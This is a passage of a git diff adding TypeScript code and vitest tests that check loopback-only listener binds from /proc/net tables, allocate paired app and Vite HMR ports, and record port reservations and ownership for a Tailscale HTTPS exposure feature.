+// that produced the PAP-17256 failures. Port 42003 is A40B; 52003 is CB23.
+const TCP_HEADER =
+  "  sl  local_address rem_address   st tx_queue rx_queue tr tm->when retrnsmt   uid  timeout inode                                                     ";
+const TCP6_HEADER =
+  "  sl  local_address                         remote_address                        st tx_queue rx_queue tr tm->when retrnsmt   uid  timeout inode";
+
+function tcpRow(addrHex: string, portHex: string, state = "0A") {
+  return `   0: ${addrHex}:${portHex} 00000000:0000 ${state} 00000000:00000000 00:00000000 00000000   999        0 74815359 1 0000000000000000 100 0 0 10 0`;
+}
+
+function tcp6Row(addrHex: string, portHex: string, state = "0A") {
+  return `   0: ${addrHex}:${portHex} 00000000000000000000000000000000:0000 ${state} 00000000:00000000 00:00000000 00000000   999        0 74815360 2 0000000000000000 100 0 0 10 0`;
+}
+
+/** The app port from the PAP-17256 lane, and its `/proc` hex form. */
+const APP_PORT = 42_003;
+const portHex = (port: number) => port.toString(16).toUpperCase().padStart(4, "0");
+const APP_PORT_HEX = portHex(APP_PORT);
+
+describe("formatProcAddressHex", () => {
+  it("byte-swaps IPv4 words", () => {
+    expect(formatProcAddressHex("0100007F")).toBe("127.0.0.1");
+    expect(formatProcAddressHex("00000000")).toBe("0.0.0.0");
+    expect(formatProcAddressHex("0400007F")).toBe("127.0.0.4");
+  });
+
+  it("renders the IPv6 loopback and wildcard forms /proc actually stores", () => {
+    expect(formatProcAddressHex("00000000000000000000000001000000")).toBe("::1");
+    expect(formatProcAddressHex("00000000000000000000000000000000")).toBe("::");
+  });
+});
+
+describe("listenerBindFactsForPort", () => {
+  it("accepts an IPv4 loopback listener", () => {
+    const facts = listenerBindFactsForPort(
+      parseProcNetListeners(`${TCP_HEADER}\n${tcpRow("0100007F", APP_PORT_HEX)}\n`),
+      [],
+      APP_PORT,
+    );
+    expect(facts).toEqual({ present: true, loopbackOnly: true, addresses: ["127.0.0.1"] });
+  });
+
+  it("accepts an IPv6 loopback listener in the little-endian ::1 form", () => {
+    const facts = listenerBindFactsForPort(
+      [],
+      parseProcNetListeners(
+        `${TCP6_HEADER}\n${tcp6Row("00000000000000000000000001000000", APP_PORT_HEX)}\n`,
+      ),
+      APP_PORT,
+    );
+    expect(facts).toEqual({ present: true, loopbackOnly: true, addresses: ["::1"] });
+  });
+
+  it("rejects the 0.0.0.0 wildcard bind that broke every managed lane", () => {
+    const facts = listenerBindFactsForPort(
+      parseProcNetListeners(`${TCP_HEADER}\n${tcpRow("00000000", APP_PORT_HEX)}\n`),
+      [],
+      APP_PORT,
+    );
+    expect(facts).toEqual({ present: true, loopbackOnly: false, addresses: ["0.0.0.0"] });
+  });
+
+  it("rejects the :: wildcard bind", () => {
+    const facts = listenerBindFactsForPort(
+      [],
+      parseProcNetListeners(
+        `${TCP6_HEADER}\n${tcp6Row("00000000000000000000000000000000", APP_PORT_HEX)}\n`,
+      ),
+      APP_PORT,
+    );
+    expect(facts.loopbackOnly).toBe(false);
+    expect(facts.addresses).toEqual(["::"]);
+  });
+
+  it("rejects a non-loopback unicast bind", () => {
+    // 100.123.243.20 — the tailnet address, stored little-endian.
+    const facts = listenerBindFactsForPort(
+      parseProcNetListeners(`${TCP_HEADER}\n${tcpRow("14F37B64", APP_PORT_HEX)}\n`),
+      [],
+      APP_PORT,
+    );
+    expect(facts.loopbackOnly).toBe(false);
+    expect(facts.addresses).toEqual(["100.123.243.20"]);
+  });
+
+  it("reports absent for a port with no LISTEN row", () => {
+    const facts = listenerBindFactsForPort(
+      // Same port, but ESTABLISHED (01) rather than LISTEN (0A).
+      parseProcNetListeners(`${TCP_HEADER}\n${tcpRow("0100007F", APP_PORT_HEX, "01")}\n`),
+      [],
+      APP_PORT,
+    );
+    expect(facts).toEqual({ present: false, loopbackOnly: true, addresses: [] });
+  });
+
+  it("ignores rows for other ports", () => {
+    const facts = listenerBindFactsForPort(
+      parseProcNetListeners(`${TCP_HEADER}\n${tcpRow("00000000", portHex(52_003))}\n`),
+      [],
+      APP_PORT,
+    );
+    expect(facts.present).toBe(false);
+  });
+
+  it("is not loopback-only when a wildcard row accompanies a loopback row", () => {
+    const facts = listenerBindFactsForPort(
+      parseProcNetListeners(
+        `${TCP_HEADER}\n${tcpRow("0100007F", APP_PORT_HEX)}\n${tcpRow("00000000", APP_PORT_HEX)}\n`,
+      ),
+      [],
+      APP_PORT,
+    );
+    expect(facts.loopbackOnly).toBe(false);
+    expect(facts.addresses).toEqual(["127.0.0.1", "0.0.0.0"]);
+  });
+});
+
+describe("diagnoseRuntimeListenerBinds against live listeners", () => {
+  const appPort = RUNTIME_EXPOSURE_APP_PORT_MIN + 900;
+  const hmrPort = deriveViteHmrPort(appPort);
+
+  async function withListener<T>(
+    port: number,
+    host: string | undefined,
+    body: () => Promise<T>,
+  ): Promise<T> {
+    const server = net.createServer();
+    await new Promise<void>((resolve, reject) => {
+      server.once("error", reject);
+      if (host === undefined) server.listen(port, () => resolve());
+      else server.listen(port, host, () => resolve());
+    });
+    try {
+      return await body();
+    } finally {
+      await new Promise<void>((resolve) => server.close(() => resolve()));
+    }
+  }
+
+  it("stays silent for a real loopback listener", async () => {
+    await withListener(appPort, "127.0.0.1", async () => {
+      expect(await diagnoseRuntimeListenerBinds([appPort])).toBeNull();
+    });
+  });
+
+  it("names the port and the wildcard address for a real 0.0.0.0 listener", async () => {
+    await withListener(appPort, undefined, async () => {
+      const diagnosis = await diagnoseRuntimeListenerBinds([appPort]);
+      expect(diagnosis).toContain(`port ${appPort}`);
+      // Node's hostless listen is dual-stack, so /proc shows :: and/or 0.0.0.0.
+      expect(diagnosis).toMatch(/0\.0\.0\.0|::/);
+      expect(diagnosis).toContain("--bind loopback");
+    });
+  });
+
+  it("catches the HMR companion port too, not just the app port", async () => {
+    await withListener(appPort, "127.0.0.1", async () => {
+      await withListener(hmrPort, undefined, async () => {
+        const diagnosis = await diagnoseRuntimeListenerBinds([appPort, hmrPort]);
+        expect(diagnosis).toContain(`port ${hmrPort}`);
+        expect(diagnosis).not.toContain(`port ${appPort} is bound`);
+      });
+    });
+  });
+
+  it("stays silent for a port with no listener, leaving the verdict to the broker", async () => {
+    expect(await diagnoseRuntimeListenerBinds([appPort])).toBeNull();
+  });
+});
diff --git a/server/src/services/runtime-exposure/loopback-listener.ts b/server/src/services/runtime-exposure/loopback-listener.ts
new file mode 100644
index 00000000000..33fbcaa1b42
--- /dev/null
+++ b/server/src/services/runtime-exposure/loopback-listener.ts
@@ -0,0 +1,165 @@
+/**
+ * Server-side loopback listener diagnosis for the `tailscale_https` mode
+ * (PAP-17256).
+ *
+ * The broker already refuses to expose a port whose listener is not
+ * loopback-only, and it must keep doing that check itself — it cannot trust the
+ * caller. But the broker only answers with a stable machine code, so when a
+ * managed lane bound `0.0.0.0` the operator saw a bare
+ * `listener_ownership_mismatch` with no port, no address, and no hint about
+ * which side was wrong. That opacity, not the denial, is what turned one bug
+ * into three diagnostic cycles.
+ *
+ * So the server runs the same read *before* it calls the broker, purely to
+ * produce a sentence a human can act on. This is deliberately a duplicate of
+ * the broker's `proc-listener` logic rather than a shared import: the broker is
+ * host-privileged and its gate must stay independent of anything the server
+ * says. If the two ever disagree, the broker still wins — this one only
+ * explains.
+ *
+ * Parsing helpers are exported pure so they can be tested without /proc.
+ */
+import { readFile } from "node:fs/promises";
+
+/** One listening row from `/proc/net/tcp` or `/proc/net/tcp6`. */
+export interface ProcListenerRow {
+  localAddressHex: string;
+  localPortHex: string;
+  state: string;
+}
+
+export interface ListenerBindFacts {
+  present: boolean;
+  loopbackOnly: boolean;
+  /** Bound addresses in human-readable form, for the diagnosis message. */
+  addresses: string[];
+}
+
+const TCP_STATE_LISTEN = "0A";
+
+/** Parse one `/proc/net/tcp{,6}` table into its listening rows. */
+export function parseProcNetListeners(content: string): ProcListenerRow[] {
+  const rows: ProcListenerRow[] = [];
+  for (const line of content.split("\n").slice(1)) {
+    const cols = line.trim().split(/\s+/);
+    if (cols.length < 10) continue;
+    const [addr, port] = cols[1].split(":");
+    if (!addr || !port) continue;
+    rows.push({ localAddressHex: addr, localPortHex: port, state: cols[3] });
+  }
+  return rows;
+}
+
+/** True for a wildcard bind (`0.0.0.0` / `::`), reachable off-loopback. */
+function isWildcardHex(addrHex: string): boolean {
+  return /^0+$/.test(addrHex);
+}
+
+/**
+ * Render a `/proc` address for humans. Both tables store 32-bit words in host
+ * (little-endian) byte order, so each 8-hex-digit word is byte-swapped.
+ */
+export function formatProcAddressHex(addrHex: string): string {
+  if (addrHex.length === 8) {
+    const octets = [6, 4, 2, 0].map((offset) => parseInt(addrHex.slice(offset, offset + 2), 16));
+    return octets.join(".");
+  }
+  if (addrHex.length === 32) {
+    const bytes: number[] = [];
+    for (let word = 0; word < 4; word += 1) {
+      const hex = addrHex.slice(word * 8, word * 8 + 8);
+      for (let offset = 6; offset >= 0; offset -= 2) {
+        bytes.push(parseInt(hex.slice(offset, offset + 2), 16));
+      }
+    }
+    if (bytes.every((byte) => byte === 0)) return "::";
+    if (bytes.slice(0, 15).every((byte) => byte === 0) && bytes[15] === 1) return "::1";
+    const groups: string[] = [];
+    for (let index = 0; index < 16; index += 2) {
+      groups.push(((bytes[index] << 8) | bytes[index + 1]).toString(16));
+    }
+    return groups.join(":");
+  }
+  return `0x${addrHex}`;
+}
+
+/** True when a `/proc` IPv4 hex address is in 127.0.0.0/8. */
+function isLoopbackIpv4Hex(addrHex: string): boolean {
+  if (addrHex.length !== 8) return false;
+  return parseInt(addrHex.slice(6, 8), 16) === 127;
+}
+
+/** `::1` as `/proc/net/tcp6` stores it — final word byte-swapped. */
+const LOOPBACK_IPV6_PROC_HEX = "00000000000000000000000001000000";
+
+function isLoopbackIpv6Hex(addrHex: string): boolean {
+  return addrHex.toUpperCase() === LOOPBACK_IPV6_PROC_HEX;
+}
+
+/** Reduce both `/proc` tables to bind facts for one port. */
+export function listenerBindFactsForPort(
+  tcp: ProcListenerRow[],
+  tcp6: ProcListenerRow[],
+  port: number,
+): ListenerBindFacts {
+  const wantHex = port.toString(16).toUpperCase().padStart(4, "0");
+  const addresses: string[] = [];
+  let present = false;
+  let loopbackOnly = true;
+  const scan = (rows: ProcListenerRow[], isLoopback: (hex: string) => boolean) => {
+    for (const row of rows) {
+      if (row.localPortHex.toUpperCase() !== wantHex || row.state !== TCP_STATE_LISTEN) continue;
+      present = true;
+      addresses.push(formatProcAddressHex(row.localAddressHex));
+      if (isWildcardHex(row.localAddressHex) || !isLoopback(row.localAddressHex)) {
+        loopbackOnly = false;
+      }
+    }
+  };
+  scan(tcp, isLoopbackIpv4Hex);
+  scan(tcp6, isLoopbackIpv6Hex);
+  return { present, loopbackOnly, addresses: [...new Set(addresses)] };
+}
+
+/** Read live bind facts for one port. Unreadable `/proc` yields "unknown". */
+export async function readListenerBindFacts(port: number): Promise<ListenerBindFacts | null> {
+  let tcp: ProcListenerRow[];
+  try {
+    tcp = parseProcNetListeners(await readFile("/proc/net/tcp", "utf8"));
+  } catch {
+    // No /proc (non-Linux, or a restricted sandbox): the server simply cannot
+    // explain, so it stays silent and lets the broker's own gate decide.
+    return null;
+  }
+  let tcp6: ProcListenerRow[] = [];
+  try {
+    tcp6 = parseProcNetListeners(await readFile("/proc/net/tcp6", "utf8"));
+  } catch {
+    /* optional table */
+  }
+  return listenerBindFactsForPort(tcp, tcp6, port);
+}
+
+/**
+ * Build the operator-facing diagnosis for a set of ports about to be exposed, or
+ * null when nothing is provably wrong.
+ *
+ * Only a *proven* violation is reported. A missing listener is not treated as a
+ * violation here: readiness already gates on the bind, and guessing would turn a
+ * benign race into a misleading error.
+ */
+export async function diagnoseRuntimeListenerBinds(ports: number[]): Promise<string | null> {
+  const violations: string[] = [];
+  for (const port of ports) {
+    const facts = await readListenerBindFacts(port);
+    if (!facts || !facts.present || facts.loopbackOnly) continue;
+    violations.push(`port ${port} is bound to ${facts.addresses.join(", ")}`);
+  }
+  if (violations.length === 0) return null;
+  return (
+    `${violations.join("; ")} instead of loopback only. The broker will not expose a listener `
+    + "reachable off-loopback. This means the workspace checkout's dev server ignored the managed "
+    + "loopback bind — a checkout that predates managed HTTPS exposure overwrites PAPERCLIP_BIND "
+    + "from its own --bind argv, so the start command must pass --bind loopback."
+  );
+}
diff --git a/server/src/services/runtime-exposure/port-pair.test.ts b/server/src/services/runtime-exposure/port-pair.test.ts
new file mode 100644
index 00000000000..eabe9223d19
--- /dev/null
+++ b/server/src/services/runtime-exposure/port-pair.test.ts
@@ -0,0 +1,109 @@
+import { describe, expect, it } from "vitest";
+
+import {
+  RUNTIME_EXPOSURE_APP_PORT_MIN,
+  RUNTIME_EXPOSURE_HMR_PORT_OFFSET,
+} from "@paperclipai/shared";
+
+import { allocateExposurePortPair } from "./port-pair.js";
+
+describe("allocateExposurePortPair", () => {
+  it("returns the first free app port with a free HMR companion", async () => {
+    const pair = await allocateExposurePortPair({ isPortAvailable: async () => true });
+    expect(pair.appPort).toBe(RUNTIME_EXPOSURE_APP_PORT_MIN);
+    expect(pair.hmrPort).toBe(RUNTIME_EXPOSURE_APP_PORT_MIN + RUNTIME_EXPOSURE_HMR_PORT_OFFSET);
+  });
+
+  it("skips an app port whose HMR companion is busy", async () => {
+    const busyHmr = RUNTIME_EXPOSURE_APP_PORT_MIN + RUNTIME_EXPOSURE_HMR_PORT_OFFSET;
+    const pair = await allocateExposurePortPair({
+      isPortAvailable: async (port) => port !== busyHmr,
+    });
+    // First app port's companion is busy, so it advances to the next app port.
+    expect(pair.appPort).toBe(RUNTIME_EXPOSURE_APP_PORT_MIN + 1);
+    expect(pair.hmrPort).toBe(RUNTIME_EXPOSURE_APP_PORT_MIN + 1 + RUNTIME_EXPOSURE_HMR_PORT_OFFSET);
+  });
+
+  it("skips a busy app port", async () => {
+    const pair = await allocateExposurePortPair({
+      isPortAvailable: async (port) => port !== RUNTIME_EXPOSURE_APP_PORT_MIN,
+    });
+    expect(pair.appPort).toBe(RUNTIME_EXPOSURE_APP_PORT_MIN + 1);
+  });
+
+  it("never returns a reserved (e.g. quarantined) app or HMR port", async () => {
+    const reserved = new Set<number>([
+      RUNTIME_EXPOSURE_APP_PORT_MIN,
+      // reserve the SECOND app port's HMR companion too
+      RUNTIME_EXPOSURE_APP_PORT_MIN + 1 + RUNTIME_EXPOSURE_HMR_PORT_OFFSET,
+    ]);
+    const pair = await allocateExposurePortPair({
+      isPortAvailable: async () => true,
+      reserved,
+    });
+    expect(pair.appPort).toBe(RUNTIME_EXPOSURE_APP_PORT_MIN + 2);
+  });
+
+  describe("preferredAppPort (keep existing runtime ports when safe)", () => {
+    it("keeps a preferred in-range port instead of restarting the scan", async () => {
+      const pair = await allocateExposurePortPair({
+        isPortAvailable: async () => true,
+        preferredAppPort: 42_500,
+      });
+      expect(pair.appPort).toBe(42_500);
+      expect(pair.hmrPort).toBe(42_500 + RUNTIME_EXPOSURE_HMR_PORT_OFFSET);
+    });
+
+    it("ignores a legacy pinned port outside the dedicated range", async () => {
+      // 45439 is the pre-feature Paperclip App port; the broker can never
+      // publish it, so the allocator must relocate rather than fail.
+      const pair = await allocateExposurePortPair({
+        isPortAvailable: async () => true,
+        preferredAppPort: 45_439,
+      });
+      expect(pair.appPort).toBe(RUNTIME_EXPOSURE_APP_PORT_MIN);
+    });
+
+    it("falls back to the scan when the preferred port is busy or reserved", async () => {
+      const busy = await allocateExposurePortPair({
+        isPortAvailable: async (port) => port !== 42_500,
+        preferredAppPort: 42_500,
+      });
+      expect(busy.appPort).toBe(RUNTIME_EXPOSURE_APP_PORT_MIN);
+
+      const reservedCompanion = await allocateExposurePortPair({
+        isPortAvailable: async () => true,
+        reserved: new Set([42_500 + RUNTIME_EXPOSURE_HMR_PORT_OFFSET]),
+        preferredAppPort: 42_500,
+      });
+      expect(reservedCompanion.appPort).toBe(RUNTIME_EXPOSURE_APP_PORT_MIN);
+    });
+
+    it("ignores a preferred HMR-range port (never an app port)", async () => {
+      const pair = await allocateExposurePortPair({
+        isPortAvailable: async () => true,
+        preferredAppPort: RUNTIME_EXPOSURE_APP_PORT_MIN + RUNTIME_EXPOSURE_HMR_PORT_OFFSET,
+      });
+      expect(pair.appPort).toBe(RUNTIME_EXPOSURE_APP_PORT_MIN);
+    });
+  });
+
+  it("throws when the dedicated range is exhausted", async () => {
+    await expect(
+      allocateExposurePortPair({ isPortAvailable: async () => false }),
+    ).rejects.toThrow(/no free app\/HMR port pair/);
+  });
+
+  it("only probes the companion after the app port is free (short-circuits)", async () => {
+    const probed: number[] = [];
+    await allocateExposurePortPair({
+      isPortAvailable: async (port) => {
+        probed.push(port);
+        return true;
+      },
+    });
+    // First two probes are the first app port and its companion, in order.
+    expect(probed[0]).toBe(RUNTIME_EXPOSURE_APP_PORT_MIN);
+    expect(probed[1]).toBe(RUNTIME_EXPOSURE_APP_PORT_MIN + RUNTIME_EXPOSURE_HMR_PORT_OFFSET);
+  });
+});
diff --git a/server/src/services/runtime-exposure/port-pair.ts b/server/src/services/runtime-exposure/port-pair.ts
new file mode 100644
index 00000000000..dc274994abc
--- /dev/null
+++ b/server/src/services/runtime-exposure/port-pair.ts
@@ -0,0 +1,102 @@
+/**
+ * Paired app + Vite HMR port allocation for the `tailscale_https` exposure mode.
+ *
+ * A managed runtime that opts into HTTPS exposure needs TWO deterministically
+ * related loopback ports reserved together (PAP-17049 plan, PAP-17050 verdict
+ * requirement #2): the app port and its Paperclip Vite HMR companion at a fixed
+ * offset. Allocating them as a pair — and only from the dedicated allowlisted
+ * range — means a compromised caller can never ask the broker to publish an
+ * arbitrary existing loopback service, and the HMR listener is never orphaned
+ * from its app listener.
+ *
+ * Pure orchestration over an injected availability probe: no sockets here, so
+ * the scan order and skip logic are unit-testable.
+ */
+import {
+  RUNTIME_EXPOSURE_APP_PORT_MIN,
+  RUNTIME_EXPOSURE_APP_PORT_MAX,
+  deriveViteHmrPort,
+  isRuntimeExposureAppPort,
+} from "@paperclipai/shared";
+
+export interface ExposurePortPair {
+  appPort: number;
+  hmrPort: number;
+}
+
+export interface AllocateExposurePortPairInput {
+  /**
+   * Returns true if the port can currently be bound loopback-only. Both the app
+   * port and its HMR companion must pass before a pair is returned.
+   */
+  isPortAvailable: (port: number) => Promise<boolean>;
+  /**
+   * Ports that must never be handed out — e.g. quarantined after an ambiguous
+   * cleanup, or already reserved by other live runtimes this cycle.
+   */
+  reserved?: ReadonlySet<number>;
+  /**
+   * The port this runtime is already using, if any. Tried first so a restart or
+   * a backfilled service keeps its port instead of drifting across the range on
+   * every deploy ("keep existing runtime ports when safe", PAP-17158).
+   *
+   * Only honored when it is genuinely safe: the port must be an allowlisted app
+   * port, unreserved, and free together with its HMR companion. A legacy pinned
+   * port outside the dedicated range (the Paperclip App template's 45439) can
+   * never be published by the broker, so it is ignored here rather than making
+   * the caller special-case it.
+   */
+  preferredAppPort?: number | null;
+  /**
+   * Atomically take the pair for this allocation, or refuse it. Returning false
+   * makes the scan move on as if the pair were busy.
+   *
+   * Without it, two concurrent allocators observe identical reservations and
+   * identical probe results and both walk away with the lowest free pair —
+   * neither has bound anything yet, so nothing downstream can tell them apart.
+   * The claim must cover both ports together: a half-claimed pair is the
+   * orphaned-HMR-companion failure this allocator exists to prevent.
+   */
+  claimPair?: (pair: ExposurePortPair) => boolean;
+}
+
+/**
+ * Return an app port whose HMR companion is also free and unreserved: the
+ * preferred port when it is eligible, otherwise the first such port scanning the
+ * dedicated range in ascending order. Throws when the range is exhausted so the
+ * caller fails closed rather than binding an out-of-range port.
+ */
+export async function allocateExposurePortPair(
+  input: AllocateExposurePortPairInput,
+): Promise<ExposurePortPair> {
+  const reserved = input.reserved ?? new Set<number>();
+
+  const claimIfFree = async (appPort: number): Promise<ExposurePortPair | null> => {
+    if (reserved.has(appPort)) return null;
+    if (!isRuntimeExposureAppPort(appPort)) return null;
+    const hmrPort = deriveViteHmrPort(appPort);
+    if (reserved.has(hmrPort)) return null;
+    // Probe the app port first; short-circuit before probing the companion.
+    if (!(await input.isPortAvailable(appPort))) return null;
+    if (!(await input.isPortAvailable(hmrPort))) return null;
+    const pair = { appPort, hmrPort };
+    // Claim last: the probes are the cheap filter, and claiming a pair we then
+    // reject would leak a hold on it for the claim's whole TTL.
+    if (input.claimPair && !input.claimPair(pair)) return null;
+    return pair;
+  };
+
+  if (input.preferredAppPort != null) {
+    const preferred = await claimIfFree(input.preferredAppPort);
+    if (preferred) return preferred;
+  }
+
+  for (let appPort = RUNTIME_EXPOSURE_APP_PORT_MIN; appPort <= RUNTIME_EXPOSURE_APP_PORT_MAX; appPort += 1) {
+    const pair = await claimIfFree(appPort);
+    if (pair) return pair;
+  }
+  throw new Error(
+    `no free app/HMR port pair available in the dedicated runtime exposure range ` +
+      `[${RUNTIME_EXPOSURE_APP_PORT_MIN}, ${RUNTIME_EXPOSURE_APP_PORT_MAX}]`,
+  );
+}
diff --git a/server/src/services/runtime-exposure/port-reservation.test.ts b/server/src/services/runtime-exposure/port-reservation.test.ts
new file mode 100644
index 00000000000..1ee65a21165
--- /dev/null
+++ b/server/src/services/runtime-exposure/port-reservation.test.ts
@@ -0,0 +1,551 @@
+/**
+ * PAP-17419 regression coverage for central exposure reservation/ownership
+ * mediation.
+ *
+ * Each `describe` below is one of the five regression requirements on the
+ * issue, named so a reviewer can map test → requirement without reading the
+ * bodies. The scenario ports and workspace IDs mirror the PAP-17251 finding:
+ * lane B held `42001/52001` under an open lease while the unrelated workspace
+ * `PAP-16986-add-posthog-mcp` took the pair.
+ */
+import { describe, expect, it } from "vitest";
+
+import {
+  buildExposureReservationLedger,
+  collectRowExposurePorts,
+  describeExposurePortConflict,
+  describeExposureReservationDrift,
+  ExposurePortOwnershipConflictError,
+  ExposurePortPairClaims,
+  findExposurePairConflict,
+  findExposureReservationDrift,
+  isExposureAdoptionPermitted,
+  type ExposureOwnerIdentity,
+  type PersistedExposureRowSnapshot,
+} from "./port-reservation.js";
+import { allocateExposurePortPair } from "./port-pair.js";
+
+/** The stopped-but-leased lane from the finding. */
+const LEASED_WORKSPACE = "b7ce28b4-7921-4e23-8be2-8b42193bf4ad";
+/** The unrelated workspace that took its pair. */
+const OTHER_WORKSPACE = "9f2c1d40-1111-4222-8333-444455556666";
+const LEASED_ISSUE = "17251aaa-1111-4222-8333-444455556666";
+
+function identity(overrides: Partial<ExposureOwnerIdentity> = {}): ExposureOwnerIdentity {
+  return {
+    runtimeServiceId: null,
+    executionWorkspaceId: null,
+    projectWorkspaceId: null,
+    issueId: null,
+    ...overrides,
+  };
+}
+
+/**
+ * A lane that has been stopped AND torn down.
+ *
+ * `deprovisionExposure` writes a fresh `removed` status whose `listeners` array
+ * is empty, so the `port` column is the only surviving record of which pair the
+ * lease owns. Reproducing that faithfully is the whole point of the fixture.
+ */
+function stoppedTornDownRow(overrides: Partial<PersistedExposureRowSnapshot> = {}): PersistedExposureRowSnapshot {
+  return {
+    id: "runtime-lane-b",
+    status: "stopped",
+    port: 42001,
+    exposure: { state: "removed", listeners: [] },
+    executionWorkspaceId: LEASED_WORKSPACE,
+    projectWorkspaceId: null,
+    issueId: LEASED_ISSUE,
+    ...overrides,
+  };
+}
+
+describe("collectRowExposurePorts", () => {
+  it("derives the pair from the port column when teardown erased the listeners", () => {
+    expect([...collectRowExposurePorts(stoppedTornDownRow())]).toEqual([42001, 52001]);
+  });
+
+  it("ignores a legacy pinned port outside the dedicated range", () => {
+    const row = stoppedTornDownRow({ port: 45439 });
+    expect([...collectRowExposurePorts(row)]).toEqual([]);
+  });
+
+  it("unions declared listeners with the port-derived pair", () => {
+    const row = stoppedTornDownRow({
+      exposure: { state: "ready", listeners: [{ targetPort: 42001 }, { targetPort: 52001 }] },
+    });
+    expect([...collectRowExposurePorts(row)].sort()).toEqual([42001, 52001]);
+  });
+});
+
+describe("regression 1: stopped-but-leased pair reuse is denied", () => {
+  it("reserves a torn-down lane's pair while its lease is still open", () => {
+    const ledger = buildExposureReservationLedger({
+      persistedRows: [stoppedTornDownRow()],
+      activeExecutionWorkspaceIds: [LEASED_WORKSPACE],
+    });
+
+    expect(ledger.reservedPorts.has(42001)).toBe(true);
+    expect(ledger.reservedPorts.has(52001)).toBe(true);
+    expect(ledger.reservationByPort.get(42001)).toMatchObject({
+      source: "leased_workspace",
+      owner: { executionWorkspaceId: LEASED_WORKSPACE, issueId: LEASED_ISSUE },
+    });
+  });
+
+  it("denies an unrelated workspace the leased pair, naming the holder", () => {
+    const ledger = buildExposureReservationLedger({
+      persistedRows: [stoppedTornDownRow()],
+      activeExecutionWorkspaceIds: [LEASED_WORKSPACE],
+    });
+
+    const conflict = findExposurePairConflict({
+      pair: { appPort: 42001, hmrPort: 52001 },
+      claimant: identity({ executionWorkspaceId: OTHER_WORKSPACE, runtimeServiceId: "runtime-posthog" }),
+      ledger,
+    });
+
+    expect(conflict).toMatchObject({ code: "reserved_by_other_workspace", port: 42001 });
+    const message = describeExposurePortConflict(conflict!);
+    expect(message).toContain("42001");
+    expect(message).toContain(LEASED_WORKSPACE);
+    expect(message).toContain(LEASED_ISSUE);
+    // The operator must be told the lane looks stopped on purpose, or the
+    // report reads as a stale-row bug rather than a live reservation.
+    expect(message).toContain("lease is still open");
+  });
+
+  it("lets the leaseholder's own lane reclaim its pair on restart", () => {
+    const ledger = buildExposureReservationLedger({
+      persistedRows: [stoppedTornDownRow()],
+      activeExecutionWorkspaceIds: [LEASED_WORKSPACE],
+    });
+
+    expect(findExposurePairConflict({
+      pair: { appPort: 42001, hmrPort: 52001 },
+      claimant: identity({ executionWorkspaceId: LEASED_WORKSPACE, runtimeServiceId: "runtime-lane-b-restart" }),
+      ledger,
+    })).toBeNull();
+  });
+
+  it("keeps the HMR companion reserved even when only the app port is claimed", () => {
+    const ledger = buildExposureReservationLedger({
+      persistedRows: [stoppedTornDownRow()],
+      activeExecutionWorkspaceIds: [LEASED_WORKSPACE],
+    });
+
+    // A different pair whose app port is free but whose companion is the
+    // lease's HMR port can never happen with the fixed offset, so assert the
+    // companion is independently defended instead.
+    expect(findExposurePairConflict({
+      pair: { appPort: 52001, hmrPort: 62001 },
+      claimant: identity({ executionWorkspaceId: OTHER_WORKSPACE }),
+      ledger,
+    })).toMatchObject({ code: "reserved_by_other_workspace", port: 52001 });
+  });
+
+  it("still reserves nothing for a row with no lease and no exposure", () => {
+    const ledger = buildExposureReservationLedger({
+      persistedRows: [stoppedTornDownRow()],
+      activeExecutionWorkspaceIds: [],
+    });
+    expect(ledger.reservedPorts.size).toBe(0);
+  });
+});
+
+describe("regression 2: cross-execution-workspace process adoption is denied", () => {
+  it("refuses adoption when the execution workspace IDs differ", () => {
+    expect(isExposureAdoptionPermitted(
+      identity({ executionWorkspaceId: LEASED_WORKSPACE }),
+      identity({ executionWorkspaceId: OTHER_WORKSPACE }),
+    )).toBe(false);
+  });
+
+  it("refuses adoption when either side's workspace is unknown", () => {
+    expect(isExposureAdoptionPermitted(
+      identity({ executionWorkspaceId: null, runtimeServiceId: "runtime-unknown" }),
+      identity({ executionWorkspaceId: OTHER_WORKSPACE }),
+    )).toBe(false);
+    expect(isExposureAdoptionPermitted(
+      identity({ executionWorkspaceId: LEASED_WORKSPACE }),
+      identity({ executionWorkspaceId: null }),
+    )).toBe(false);
+    // Two nulls are not "the same workspace"; they are two unknowns.
+    expect(isExposureAdoptionPermitted(identity(), identity())).toBe(false);
+  });
+
+  it("permits the same workspace and the same runtime service", () => {
+    expect(isExposureAdoptionPermitted(
+      identity({ executionWorkspaceId: LEASED_WORKSPACE }),
+      identity({ executionWorkspaceId: LEASED_WORKSPACE }),
+    )).toBe(true);
+    expect(isExposureAdoptionPermitted(
+      identity({ runtimeServiceId: "runtime-lane-b" }),
+      identity({ runtimeServiceId: "runtime-lane-b" }),
+    )).toBe(true);
+  });
+
+  it("denies a pair whose live listener belongs to another workspace", () => {
+    const conflict = findExposurePairConflict({
+      pair: { appPort: 42001, hmrPort: 52001 },
+      claimant: identity({ executionWorkspaceId: OTHER_WORKSPACE }),
+      ledger: buildExposureReservationLedger({}),
+      listenerOwners: new Map([[42001, identity({ executionWorkspaceId: LEASED_WORKSPACE, issueId: LEASED_ISSUE })]]),
+    });
+
+    expect(conflict).toMatchObject({ code: "listener_owned_by_other_workspace", port: 42001 });
+    expect(describeExposurePortConflict(conflict!)).toContain(LEASED_WORKSPACE);
+  });
+
+  it("denies a live listener it cannot attribute rather than assuming it is ours", () => {
+    const conflict = findExposurePairConflict({
+      pair: { appPort: 42001, hmrPort: 52001 },
+      claimant: identity({ executionWorkspaceId: OTHER_WORKSPACE }),
+      ledger: buildExposureReservationLedger({}),
+      listenerOwners: new Map([[52001, null]]),
+    });
+
+    expect(conflict).toMatchObject({ code: "listener_owned_by_other_workspace", port: 52001 });
+    expect(describeExposurePortConflict(conflict!)).toContain("an unidentified owner");
+  });
+
+  it("throws a terminal, attributed error on the allocation path", () => {
+    const conflict = findExposurePairConflict({
+      pair: { appPort: 42001, hmrPort: 52001 },
+      claimant: identity({ executionWorkspaceId: OTHER_WORKSPACE }),
+      ledger: buildExposureReservationLedger({
+        persistedRows: [stoppedTornDownRow()],
+        activeExecutionWorkspaceIds: [LEASED_WORKSPACE],
+      }),
+    });
+    const error = new ExposurePortOwnershipConflictError(conflict!);
+
+    expect(error.code).toBe("exposure_port_ownership_conflict");
+    expect(error.message).toContain("HTTPS exposure allocation denied");
+    expect(error.message).toContain(LEASED_WORKSPACE);
+  });
+});
+
+describe("regression 3: Serve mapping ownership mismatch is visible and fails closed", () => {
+  it("denies a pair published by another workspace's Serve mapping", () => {
+    const rows: PersistedExposureRowSnapshot[] = [
+      {
+        id: "runtime-posthog",
+        status: "running",
+        port: 42001,
